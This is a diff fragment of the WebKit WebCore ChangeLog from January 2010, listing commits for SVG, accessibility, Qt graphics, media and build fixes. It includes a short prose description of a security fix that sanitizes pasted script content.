+
+        Reviewed by Darin Adler.
+
+        Script tags are copied and pasted, making cross-domain attacks possible.
+        https://bugs.webkit.org/show_bug.cgi?id=33970
+
+        Tests: editing/pasteboard/paste-noscript-svg.html
+               editing/pasteboard/paste-visible-script.html
+
+        We remove the content and the attributes of every script tag before
+        pasting into the destination.
+        
+        * dom/Element.cpp:
+        (WebCore::Element::setAttributeMap): Now we are removing xlink:href
+        if it contains javascript protocol.
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::parseToken): We strip all the script tag attributes
+        we are parsing to create a fragment to paste.
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::HTMLTokenizer):
+        (WebCore::HTMLTokenizer::scriptHandler): Removes the script text after it was parsed.
+        * html/HTMLTokenizer.h:
+
+2010-01-21  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Dirk Schulze.
+
+        <use> with % lengths does not update on window resize
+        https://bugs.webkit.org/show_bug.cgi?id=14639
+
+        appendChild broken for symbol-use
+        https://bugs.webkit.org/show_bug.cgi?id=24802
+
+        Test: svg/custom/relative-sized-shadow-tree-content-with-symbol.xhtml
+              svg/custom/svg/custom/relative-sized-use-on-symbol.xhtml
+
+        Fix reaction on window size changes for relative sized elements within <symbol> elements.
+        Don't evaluate SVGUseElement width/height attributes in order to propagate them to the shadow tree,
+        instead just propagate the attribute values itself so "100%" remains "100%" instead of being evaluated
+        to an absolute pixel value in the parent <svg> user-space.
+
+        Needs another fix in SVGStyledElement::childrenChanged(), which is a regression from my last <use>
+        patch, that hasn't been detected, as the use-dynamic-append.svg testcase was broken.
+
+        The combination of all the last <use> patches finally fixes the peepo.co.uk website, which was broken by several bugs for years.
+
+        * svg/SVGStyledElement.cpp:
+        (WebCore::SVGStyledElement::childrenChanged): Need to mark shadow trees needing recalcs, even when parsing.
+        * svg/SVGUseElement.cpp:
+        (WebCore::SVGUseElement::svgAttributeChanged): Don't reclone for width/height attribute changes, just propagate them down the render tree
+        (WebCore::updateContainerSize): Added helper function, updating the width/height attributes in the shadow tree.
+        (WebCore::SVGUseElement::updateContainerSizes):
+        (WebCore::SVGUseElement::buildShadowAndInstanceTree): Update container width/height after shadow tree creation, instead of doing it inbetween.
+        (WebCore::SVGUseElement::buildShadowTree): Don't alter width/height attributes here anymore.
+        (WebCore::SVGUseElement::expandUseElementsInShadowTree): Ditto.
+        (WebCore::SVGUseElement::expandSymbolElementsInShadowTree): Ditto.
+        * svg/SVGUseElement.h:
+
+2010-01-21  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33972
+        Assertion failure in FrameLoader::checkLoadComplete()
+
+        I couldn't make a test for this, after trying rather hard. I'm not too worried, because such
+        a test has to depend on details of current implementation so intimately that it would become
+        ineffective very quickly anyway.
+
+        * loader/FrameLoader.cpp: (WebCore::FrameLoader::stopAllLoaders): Stop the check timer, we
+        don't need it after aborting load.
+
+2010-01-21  Csaba Osztrogonác  <ossy@webkit.org>
+
+        Reviewed by Dave Hyatt.
+
+        Buildfix for r53646.
+
+        * bindings/js/SerializedScriptValue.cpp: path of JSLock.h fixed.
+
+2010-01-21  Csaba Osztrogonác  <ossy@webkit.org>
+
+        Unreviewed buildfix after r53644.
+
+        * platform/Scrollbar.cpp:
+        (WebCore::Scrollbar::scroll): missing HAVE(ACCESSIBILITY) guard added.
+
+2010-01-21  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by David Levin.
+
+        Unnecessary call to HistoryItem::targetItem in HistoryController::pushState
+        https://bugs.webkit.org/show_bug.cgi?id=33969
+
+        * loader/HistoryController.cpp:
+        (WebCore::HistoryController::pushState): Remove unnecessary code.
+
+2010-01-21  Dmitry Titov  <dimich@chromium.org>
+
+        Not reviewed, Chromium build fix. Add AccessibilityScrollbar.h and .cpp to WebCore.gypi
+
+        * WebCore.gypi:
+
+2010-01-21  Albert J. Wong  <ajwong@chromium.org>
+
+        [chromium] Unreviewed build fix.
+
+        Fix possible use of initialized variable warning in release mode.
+
+        * bindings/v8/SerializedScriptValue.cpp:
+        (WebCore::ZigZag::Deserializer::doDeserialize):
+
+2010-01-21  Csaba Osztrogonác  <ossy@webkit.org>
+
+        [Qt] Unreviewed buildfix after r53644.
+
+        * WebCore.pro: accessibility/AccessibilityScrollbar.cpp and accessibility/AccessibilityScrollbar.h added.
+
+2010-01-21  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Make sure to do a JSLock before deserialization of script values, since they can heap allocate.
+
+        * bindings/js/SerializedScriptValue.cpp:
+        (WebCore::SerializedScriptValueData::deserialize):
+
+2010-01-21  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=33923 REGRESSION 
+        (Safari 4): AXValueChanged no longer sent for text area scrollbars
+        -and corresponding-
+        <rdar://problem/6942686>
+
+        New class AccessibilityScrollbar inherits directly from 
+        AccessibilityObject.
+        * accessibility/AccessibilityScrollbar.cpp: Added.
+        (WebCore::AccessibilityScrollbar::AccessibilityScrollbar):
+        (WebCore::AccessibilityScrollbar::create):
+        (WebCore::AccessibilityScrollbar::valueForRange):
+        * accessibility/AccessibilityScrollbar.h: Added.
+        (WebCore::AccessibilityScrollbar::setScrollbar):
+        (WebCore::AccessibilityScrollbar::roleValue):
+        (WebCore::AccessibilityScrollbar::accessibilityIsIgnored):
+        (WebCore::AccessibilityScrollbar::size):
+        (WebCore::AccessibilityScrollbar::elementRect):
+        (WebCore::AccessibilityScrollbar::parentObject):
+
+        AXObjectCache::getOrCreate() now has a case for ScrollBarRole, 
+        which will create a new AccessibilityScrollbar. I also added a new 
+        version of postNotification() that does not require a renderer. The 
+        old postNotification() calls the new one.
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::getOrCreate):
+        (WebCore::AXObjectCache::postNotification):
+        * accessibility/AXObjectCache.h:
+
+        When AX is enabled, getOrCreate an AccessibilityScrollbar and send 
+        a notification.
+        * platform/Scrollbar.cpp:
+        (WebCore::Scrollbar::scroll):
+
+        Fix project files.
+        * GNUmakefile.am:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+
+2010-01-21  Eric Uhrhane  <ericu@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        Add changes missing from r53595, without which Chromium has no database.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33966
+
+        No new tests - fixes database layout tests in Chromium.
+
+        * bindings/v8/RuntimeEnabledFeatures.cpp:
+        * bindings/v8/RuntimeEnabledFeatures.h:
+
+2010-01-21  Jakob Petsovits  <jpetsovits@rim.com>
+
+        Reviewed by Adam Treat.
+
+        Don't call vgGetError()/eglGetError() repeatedly
+        https://bugs.webkit.org/show_bug.cgi?id=33959
+
+        For vgGetError(), I missed the part of the spec where
+        it says that calling that function clears the error
+        and subsequent calls will return VG_NO_ERROR again.
+
+        For eglGetError(), the specification doesn't mention
+        that kind of behavior, and interpretations seem to
+        differ between EGL implementations (even within
+        Khronos: the OpenVG reference implementation doesn't
+        reset the error code - and even mentions the difference
+        to vgGetError() in a comment - whereas the online
+        OpenGL ES API document explicitly specifies clearing
+        the error code).
+
+        It thus makes sense not to call either of the two
+        error functions more than once for checking a single
+        EGL/OpenVG call. This patch adapts assertions to
+        accommodate for this behavior, and also needs to
+        change surface creation methods as they previously
+        relied on multiple calls of eglGetError().
+
+        * platform/graphics/openvg/EGLDisplayOpenVG.cpp:
+        (WebCore::EGLDisplayOpenVG::sharedPlatformSurface):
+        (WebCore::EGLDisplayOpenVG::createPbufferSurface):
+        * platform/graphics/openvg/EGLDisplayOpenVG.h:
+        * platform/graphics/openvg/EGLUtils.h:
+        * platform/graphics/openvg/SurfaceOpenVG.cpp:
+        (WebCore::SurfaceOpenVG::SurfaceOpenVG):
+        * platform/graphics/openvg/SurfaceOpenVG.h:
+        * platform/graphics/openvg/VGUtils.h:
+
+2010-01-20  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Hit testing on composited plugins is broken
+        https://bugs.webkit.org/show_bug.cgi?id=33927
+        <rdar://problem/7559069>
+
+        RenderWidget::paint()'s strategy of moving widgets at paint time, using tx and ty, was flawed
+        because tx,ty are not always root-relative, especially when painting into compositing layers.
+        This would move widgets to the wrong location, which caused hit testing issues.
+        
+        Widgets are usually positioned by layout. The one time this was not true was scrolling fixed-position
+        elements, so we now reposition widgets after scrolling too.
+        
+        There was a related problem, which was that widgets expect the graphics context to be set up for
+        root-relative painting. To fix this, adjust the CTM and the paintRect when the widget's frameRect
+        is in a different coordinate system to the painting offset.
+        
+        Test: plugins/mouse-events-fixedpos.html
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::scrollPositionChanged): Update widget positions, to handle widgets in fixed position
+        elements, but only if we're not already inside of layout.
+
+        * platform/graphics/GraphicsContext.h:
+        (WebCore::GraphicsContext::translate): Add a translate() convenience method that takes a FloatSize.
+
+        * platform/graphics/IntSize.h:
+        (WebCore::IntSize::isZero): Add a convenience method for testing for a zero size.
+
+        * platform/mac/WidgetMac.mm:
+        (WebCore::Widget::paint): Adjust a comment.
+
+        * rendering/RenderWidget.cpp:
+        (WebCore::RenderWidget::paint): Detect when the widget's frame is in a different coordinate system
+        to painting, and adjust the CTM and paintRect in that case.
+
+2010-01-21  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by David Levin.
+
+        [Android] bindings/v8/NPV8Object.cpp does not compile on Android
+        https://bugs.webkit.org/show_bug.cgi?id=33608
+
+        Use the standard WebKit header in bridge/npruntime.h.
+        Include PlatformBridge.h instead of ChroimiumBridge.h.
+        Add popupsAllowed() method to PlatformBridge.h on Android.
+        Add ARRAYSIZE_UNSAFE to PlatformBridge.h on Android.
+
+        No new tests, fixing the build.
+
+        * bindings/v8/NPV8Object.cpp:
+        (_NPN_Evaluate):
+        * bindings/v8/NPV8Object.h:
+        * platform/android/PlatformBridge.h:
+
+2010-01-21  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by David Levin.
+
+        Add PlatformBridge.h header and a typedef to give ChromiumBridge a new name: PlatformBridge.
+        https://bugs.webkit.org/show_bug.cgi?id=33917
+
+        No new tests needed, this is just to allow other methods to call ChromiumBridge
+        using the new 'PlatformBridge' name.
+
+        * platform/chromium/PlatformBridge.h: Added.
+
+2010-01-21  Csaba Osztrogonác  <ossy@webkit.org>
+
+        [Qt] Unreviewed buildfix after r53625.
+
+        Cleanup MediaPlayer and MediaPlayerPrivateInterface to remove dead methods
+        https://bugs.webkit.org/show_bug.cgi?id=30106
+
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::paintMediaSliderTrack):
+
+2010-01-21  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by David Levin.
+
+        [Android] bindings/v8/V8DOMWrapper.h[cpp] are missing guards for XPATH and XSLT features
+        https://bugs.webkit.org/show_bug.cgi?id=33944
+
+        Inside V8DOMWrapper.h[cpp], the code for XPATH and XSLT features is not guarded
+        by the appropriate #if ENABLE(feature) macros. Add the missing guards.
+        V8DOMWrapper.cpp includes ChromiumBridge.h for no reason. Remove the include.
+
+        No new tests needed, functionality not changed.
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        * bindings/v8/V8DOMWrapper.h:
+
+2010-01-21  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Intermittent crash when media element is adopted by another document
+        https://bugs.webkit.org/show_bug.cgi?id=33919
+        rdar://problem/7557527
+        
+        Test: media/adopt-node-crash.html
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::willMoveToNewOwnerDocument): Unregister for
+        document callbacks.
+        (WebCore::HTMLMediaElement::didMoveToNewOwnerDocument): Register for
+        document callbacks.
+        * html/HTMLMediaElement.h:
+
+2010-01-21  Adam Roben  <aroben@apple.com>
+
+        More Windows build fixing
+
+        * WebCore.vcproj/WebCore.vcproj: Copy bridge/jsc in the post-build
+        event of all configurations, not just Debug.
+
+2010-01-21  Thiago Macieira  <thiago.macieira@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Fix incorrect dependency to QtXmlPatterns in generated include/QtWebKit/QtWebKit header
+
+        The generated file includes QtXmlPatterns/QtXmlPatterns, which is neither used/required by
+        the public QtWebKit API nor will it be available if Qt is configured with -no-xmlpatterns.
+
+        * WebCore.pro: Trick syncqt to believe that xmlpatterns is not a dependency, so that it's not
+        included in the generated file. It'll still be used and linked to with this trick.
+
+2010-01-21  Steve Block  <steveblock@google.com>
+
+        Unreviewed build fix.
+
+        Copy BridgeJSC.h to generated headers on Windows
+
+        No new tests, build fix only.
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2010-01-21  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Cleanup MediaPlayer and MediaPlayerPrivateInterface to remove dead methods
+        https://bugs.webkit.org/show_bug.cgi?id=30106
+
+        No new tests, only dead code was removed.
+
+        * platform/graphics/MediaPlayer.cpp:
+        * platform/graphics/MediaPlayer.h:
+        * platform/graphics/MediaPlayerPrivate.h:
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.h:
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::currentTime):
+        (WebCore::MediaPlayerPrivate::doSeek):
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
+        * platform/graphics/wince/MediaPlayerPrivateWince.h:
+
+2010-01-21  Iain Campbell <iain.campbell@accenture.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Simplify the qmake code for freezing QtWebKit on Symbian.
+
+        * WebCore.pro:
+
+2010-01-21  Steve Block  <steveblock@google.com>
+
+        Unreviewed speculative build fix for Windows.
+
+        Adds missing include path for JSCBridge.h on Windows, added in http://trac.webkit.org/changeset/53620
+
+        No new tests, build fix only.
+
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+
+2010-01-21  Steve Block  <steveblock@google.com>
+
+        Unreviewed build fix.
+
+        Adds missing include path for JSCBridge.h, added in http://trac.webkit.org/changeset/53620
+
+        No new tests, build fix only.
+
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+
+2010-01-21  Steve Block  <steveblock@google.com>
+
+        Reviewed by David Levin.
+
+        Move bridge interfaces Field, Class, Instance and Array from Bridge to BridgeJSC
+        https://bugs.webkit.org/show_bug.cgi?id=33589
+
+        These interfaces use JSC-specific types, so are moved out of Bridge.h to allow the file to
+        be used with both JSC and V8.
+
+        No new tests, refactoring only.
+
+        * Android.jscbindings.mk: Modified. Removed Bridge.cpp and added BridgeJSC.cpp
+        * GNUmakefile.am: Modified. Removed Bridge.cpp and added BridgeJSC.[cpp|h]
+        * WebCore.pro: Modified. Removed Bridge.cpp and added BridgeJSC.[cpp|h]
+        * WebCore.xcodeproj/project.pbxproj: Modified. Removed Bridge.cpp and added BridgeJSC.[cpp|h]
+        * WebCoreSources.bkl: Modified. Removed Bridge.cpp and added BridgeJSC.cpp
+        * bridge/Bridge.cpp: Removed.
+        * bridge/Bridge.h: Modfied. Moved Field, Class, Instance and Array interfaces to BridgeJSC.h
+        * bridge/jsc: Added.
+        * bridge/jsc/BridgeJSC.cpp: Copied from WebCore/bridge/Bridge.cpp.
+        * bridge/jsc/BridgeJSC.h: Copied from WebCore/bridge/Bridge.h.
+
+2010-01-21  Steve Block  <steveblock@google.com>
+
+        Reviewed by David Levin.
+
+        Fixes style in WebCore/bridge/jni/JNIBridge
+        https://bugs.webkit.org/show_bug.cgi?id=33914
+
+        No new tests, style fixes only.
+
+        * bridge/jni/JNIBridge.cpp:
+        * bridge/jni/JNIBridge.h:
+
+2010-01-13  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Oliver Hunt.
+
+        [GTK] handle media redirections
+        https://bugs.webkit.org/show_bug.cgi?id=33539
+
+        Media redirections support.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateMessageCallback):
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::mediaLocationChanged):
+        (WebCore::MediaPlayerPrivate::loadNextLocation):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+        (WebCore::MediaPlayerPrivate::pipelineReset):
+
+2010-01-21  No'am Rosenthal  <noam.rosenthal@nokia.com>
+
+        Reviewed by Antti Koivisto.
+
+        [Qt] Implement GraphicsLayer for accelerated layer compositing
+        https://bugs.webkit.org/show_bug.cgi?id=33514
+
+        No new tests: tests in LayoutTests/compositing are now relevant for
+        QtWebkit!
+
+        * WebCore.pro: added accelerated-compositing related files 
+        * platform/graphics/GraphicsLayer.h: define Qt-specific implementation           of GraphicsLayer
+        * platform/graphics/qt/GraphicsLayerQt.cpp: Added.
+        (WebCore::GraphicsLayerQtImpl::): Implementation of GraphicsLayer with
+        a QGraphicsItem
+        (WebCore::GraphicsLayerQtImpl::ContentData::ContentData): save 
+        pixmap/color info for directly composited content
+        (WebCore::GraphicsLayerQtImpl::State::State): save info for syncing
+        (WebCore::GraphicsLayerQtImpl::GraphicsLayerQtImpl): ctor
+        (WebCore::GraphicsLayerQtImpl::~GraphicsLayerQtImpl): dtor
+        (WebCore::GraphicsLayerQtImpl::setBaseTransform): set Qt
+        transformation in the way WebCore wants it
+        (WebCore::GraphicsLayerQtImpl::opaqueArea): calculate opaque area
+        based on info we have
+        (WebCore::GraphicsLayerQtImpl::boundingRect): reimp QGraphicsItem
+        (WebCore::GraphicsLayerQtImpl::paint): reimp QGraphicsItem
+        (WebCore::GraphicsLayerQtImpl::drawContents): draw HTML/Pixmap/Color
+        (WebCore::GraphicsLayerQtImpl::notifyChange): let WebCore know
+        something has changed
+        (WebCore::GraphicsLayerQtImpl::flushChanges): Make the changes appear
+        on screen by setting them to QGraphicsItems
+        (WebCore::GraphicsLayerQtImpl::notifyAnimationStarted): let WebCore
+        know the QAnimation started
+        (WebCore::GraphicsLayerQt::GraphicsLayerQt): ctor
+        (WebCore::GraphicsLayerQt::~GraphicsLayerQt): dtor
+        (WebCore::GraphicsLayer::create): hook for WebCore to know we're
+        implementing compositing
+        (WebCore::GraphicsLayer::compositingCoordinatesOrientation): hook for
+        WebCore to know we use a top-down system
+        (WebCore::GraphicsLayerQt::setNeedsDisplay): update the display
+        (WebCore::GraphicsLayerQt::setNeedsDisplayInRect): udpate part of the
+        display
+        (WebCore::GraphicsLayerQt::setName): reimp
+        (WebCore::GraphicsLayerQt::setParent): reimp
+        (WebCore::GraphicsLayerQt::setChildren): reimp
+        (WebCore::GraphicsLayerQt::addChild): reimp
+        (WebCore::GraphicsLayerQt::addChildAtIndex): reimp
+        (WebCore::GraphicsLayerQt::addChildAbove): reimp
+        (WebCore::GraphicsLayerQt::addChildBelow): reimp
+        (WebCore::GraphicsLayerQt::replaceChild): reimp
+        (WebCore::GraphicsLayerQt::removeFromParent): reimp
+        (WebCore::GraphicsLayerQt::setMaskLayer): reimp
+        (WebCore::GraphicsLayerQt::setPosition): reimp
+        (WebCore::GraphicsLayerQt::setAnchorPoint): reimp
+        (WebCore::GraphicsLayerQt::setSize): reimp
+        (WebCore::GraphicsLayerQt::setTransform): reimp
+        (WebCore::GraphicsLayerQt::setChildrenTransform): reimp
+        (WebCore::GraphicsLayerQt::setPreserves3D): reimp
+        (WebCore::GraphicsLayerQt::setMasksToBounds): reimp
+        (WebCore::GraphicsLayerQt::setDrawsContent): reimp
+        (WebCore::GraphicsLayerQt::setBackgroundColor): reimp
+        (WebCore::GraphicsLayerQt::clearBackgroundColor): reimp
+        (WebCore::GraphicsLayerQt::setContentsOpaque): reimp
+        (WebCore::GraphicsLayerQt::setBackfaceVisibility): reimp
+        (WebCore::GraphicsLayerQt::setOpacity): reimp
+        (WebCore::GraphicsLayerQt::setContentsRect): reimp
+        (WebCore::GraphicsLayerQt::setContentsToImage): reimp
+        (WebCore::GraphicsLayerQt::setContentsBackgroundColor): reimp
+        (WebCore::GraphicsLayerQt::setGeometryOrientation): reimp
+        (WebCore::GraphicsLayerQt::setContentsOrientation): reimp
+        (WebCore::GraphicsLayerQt::distributeOpacity): reimp
+        (WebCore::GraphicsLayerQt::accumulatedOpacity): reimp
+        (WebCore::GraphicsLayerQt::syncCompositingState): reimp
+        (WebCore::GraphicsLayerQt::nativeLayer): reimp (QGraphicsItem*)
+        (WebCore::GraphicsLayerQt::platformLayer): reimp (QGraphicsItem*)
+        (WebCore::solveEpsilon): copy from AnimationBase.cpp
+        (WebCore::solveCubicBezierFunction): copy from AniamtionBase.cpp
+        (WebCore::applyTimingFunction): use WebCore's timing and not Qt's
+        (WebCore::webkitAnimationToQtAnimationValue): safely figure out
+        animation values
+        (WebCore::AnimationQtBase::AnimationQtBase): base class for Qt-based
+        Webcore-initiated animations
+        (WebCore::AnimationQtBase::updateState): notify when an animation
+        starts
+        (WebCore::AnimationQtBase::duration): reimp QAbstractAnimation
+        (WebCore::AnimationQt:::AnimationQtBase):
+        (WebCore::AnimationQt::updateCurrentTime): realize keyframes from
+        progress
+        (WebCore::TransformAnimationQt::TransformAnimationQt): ctor
+        (WebCore::TransformAnimationQt::~TransformAnimationQt): dtor
+        (WebCore::TransformAnimationQt::applyFrame): set the actual QTransform
+        based on WebCore TransformOperations
+        (WebCore::TransformAnimationQt::updateState): change cache mode
+        (WebCore::OpacityAnimationQt::OpacityAnimationQt):
+        (WebCore::OpacityAnimationQt::applyFrame): change item's opacity
+        (WebCore::OpacityAnimationQt::updateState):
+        (WebCore::GraphicsLayerQt::addAnimation): convert WebCore Animation to
+        Qt Animation
+        (WebCore::GraphicsLayerQt::removeAnimationsForProperty):
+        (WebCore::GraphicsLayerQt::removeAnimationsForKeyframes):
+        (WebCore::GraphicsLayerQt::pauseAnimation):
+        (WebCore::GraphicsLayerQt::suspendAnimations):
+        (WebCore::GraphicsLayerQt::resumeAnimations):
+        * platform/graphics/qt/GraphicsLayerQt.h: Added.
+        * platform/qt/QWebPageClient.h: virtual functions for QGraphicsWebView
+        compositing
+        (QWebPageClient::setRootGraphicsLayer): let QGraphicsWebView know that
+        compositing has started/ended
+        (QWebPageClient::markForSync): let QGraphicsWebView know the
+        compositing layers need to sync, either soon or with the next update
+
+2010-01-21  No'am Rosenthal  <noam.rosenthal@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Adding QPixmap/QImage support for the Qt hybrid layer
+        Allows accesing QPixmap and QImage based arguments from Qt signals,
+        slots and properties
+        This is done by an intermediate object that can be turned into
+        web-based objects by calling either toHTMLImageElement() or
+        toDataURL()
+        https://bugs.webkit.org/show_bug.cgi?id=32461
+
+        Tests are in WebKit/qt/tests/hybridPixmap
+
+        * WebCore.pro:
+        * bridge/qt/qt_pixmapruntime.cpp: Added.
+        (JSC::Bindings::QtPixmapWidthField::name): "width"
+        (JSC::Bindings::QtPixmapWidthField::valueFromInstance): width of
+        pixmap
+        (JSC::Bindings::QtPixmapWidthField::setValueToInstance): nothing
+        (JSC::Bindings::QtPixmapHeightField::name): "height"
+        (JSC::Bindings::QtPixmapHeightField::valueFromInstance): height of
+        pixmap
+        (JSC::Bindings::QtPixmapHeightField::setValueToInstance): nothing
+        (JSC::Bindings::QtPixmapRuntimeMethod::numParameters): 0
+        (JSC::Bindings::QtPixmapCreateElementMethod::name): toHTMLImageElement
+        (JSC::Bindings::QtPixmapCreateElementMethod::invoke): creates an HTML
+        element from the QPixmap
+        (JSC::Bindings::QtPixmapToDataUrlMethod::name): "toDataURL"
+        (JSC::Bindings::QtPixmapToDataUrlMethod::invoke): encodes the image to
+        a base64 data url
+        (JSC::Bindings::QtPixmapToStringMethod::name): "toString"
+        (JSC::Bindings::QtPixmapToStringMethod::invoke): [Qt Native Pixmap
+        w,h]
+
+        (JSC::Bindings::QtPixmapRuntimeObjectImp::createStructure):
+        runtime-object broilerplate
+        (JSC::Bindings::QtPixmapRuntimeObjectImp::classInfo): ditto
+        (JSC::Bindings::QtPixmapRuntimeObjectImp::QtPixmapRuntimeObjectImp):
+        ditto
+        (JSC::Bindings::): ditto
+        (JSC::Bindings::QtPixmapClass::QtPixmapClass): class for the
+        intermediate pixmap-holder 
+        (JSC::Bindings::QtPixmapInstance::getClass): ditto
+        (JSC::Bindings::QtPixmapInstance::invokeMethod): ditto
+        (JSC::Bindings::QtPixmapClass::methodsNamed): toHTMLImageElement,
+        toDataURL
+        (JSC::Bindings::QtPixmapClass::fieldNamed): width, height
+        (JSC::Bindings::QtPixmapInstance::getPropertyNames):
+                toHTMLImageElement, toDataURL, width, height
+        (JSC::Bindings::QtPixmapInstance::defaultValue): nothing
+        (JSC::Bindings::QtPixmapInstance::valueOf): toString
+        (JSC::Bindings::data): holds a QVariant of type QImage/QPixmap
+        (JSC::Bindings::QtPixmapInstance::width): width of the image/pixmap
+        (JSC::Bindings::QtPixmapInstance::height): height of the image/pixmap
+        (JSC::Bindings::QtPixmapInstance::toPixmap): converts to a QPixmap
+        (JSC::Bindings::QtPixmapInstance::toImage): converts to a QImage
+        (JSC::Bindings::QtPixmapInstance::variantFromObject): makes sure this
+        is the right type of object, and creates a QVariant
+        (JSC::Bindings::QtPixmapInstance::createRuntimeObject): creates a new
+        intermediate pixmap holder from a QVariant
+        (JSC::Bindings::QtPixmapInstance::canHandle): returns true if a
+        QPixmap/QImage is required
+        * bridge/qt/qt_pixmapruntime.h: Added.
+        * bridge/qt/qt_runtime.cpp: hooks for the bridge
+        (JSC::Bindings::convertValueToQVariant): handle QPixmap/QImage if the
+        object is the intermediate pixmap holder or an HTMLImageElement
+        (JSC::Bindings::convertQVariantToValue): creates the intermediate
+        object from a QVariant of type QImage/QPixmap
+
+2010-01-21  Luiz Agostini  <luiz.agostini@openbossa.org>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Custom select popups.
+        https://bugs.webkit.org/show_bug.cgi?id=33418
+
+        Optimization of the WebCore support to combobox popup delegate.
+
+        * platform/qt/PopupMenuQt.cpp:
+        (WebCore::PopupMenu::show):
+        * platform/qt/QtAbstractWebPopup.cpp:
+        (WebCore::QtAbstractWebPopup::QtAbstractWebPopup):
+        (WebCore::QtAbstractWebPopup::itemType):
+        * platform/qt/QtAbstractWebPopup.h:
+        (WebCore::QtAbstractWebPopup::):
+        (WebCore::QtAbstractWebPopup::itemText):
+        (WebCore::QtAbstractWebPopup::itemToolTip):
+        (WebCore::QtAbstractWebPopup::itemIsEnabled):
+        (WebCore::QtAbstractWebPopup::itemCount):
+        (WebCore::QtAbstractWebPopup::view):
+        (WebCore::QtAbstractWebPopup::geometry):
+        (WebCore::QtAbstractWebPopup::currentIndex):
+        (WebCore::QtAbstractWebPopup::font):
+
+2010-01-20  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Stylesheet href property shows redirected URL unlike other browsers
+        https://bugs.webkit.org/show_bug.cgi?id=33683
+
+        Teach StyleSheet the difference between original and final URLs in
+        redirect chains.  Unfortunately, StyleSheet needs to know both of these
+        URLs.  The original URL is needed for the href property and the final
+        URL is needed as the baseURL.
+
+        This change required touching a lot of lines of code because we need to
+        plumb this information to the StyleSheet object.  I audited all
+        existing clients of href() and setHref() to see whether they wanted the
+        original or final URLs.  I then updated the clients (except the JS
+        bindings themselves) to use the correct accessor.
+
+        Test: http/tests/security/stylesheet-href-redirect.html
+
+        * css/CSSImportRule.cpp:
+        (WebCore::CSSImportRule::setCSSStyleSheet):
+        (WebCore::CSSImportRule::insertedIntoParent):
+        * css/CSSImportRule.h:
+        * css/CSSStyleSheet.cpp:
+        (WebCore::CSSStyleSheet::CSSStyleSheet):
+        * css/CSSStyleSheet.h:
+        (WebCore::CSSStyleSheet::create): 
+        (WebCore::CSSStyleSheet::createInline): Added a new constructor to deal
+        with "inline" style sheets that don't have a distinct original and
+        final URL.
+        * css/StyleBase.cpp:
+        (WebCore::StyleBase::baseURL): This code wants to use the final URL,
+        not the original URL.  Updated it to grab the baseURL directly.
+        * css/StyleSheet.cpp:
+        (WebCore::StyleSheet::StyleSheet):
+        * css/StyleSheet.h:
+        (WebCore::StyleSheet::href):
+        (WebCore::StyleSheet::setBaseURL): This function really just updates
+        the base URL of the style sheet, so I made it more explicit.
+        (WebCore::StyleSheet::putativeBaseURL): We need an accessor for the
+        base URL, but baseURL is already taken.
+        * dom/Document.cpp:
+        (WebCore::Document::updateBaseURL):
+        (WebCore::Document::pageUserSheet):
+        (WebCore::Document::pageGroupUserSheets):
+        (WebCore::Document::elementSheet):
+        (WebCore::Document::mappedElementSheet):
+        * dom/ProcessingInstruction.cpp:
+        (WebCore::ProcessingInstruction::checkStyleSheet):
+        (WebCore::ProcessingInstruction::setCSSStyleSheet):
+        (WebCore::ProcessingInstruction::setXSLStyleSheet):
+        * dom/ProcessingInstruction.h:
+        * dom/StyleElement.cpp:
+        (WebCore::StyleElement::createSheet):
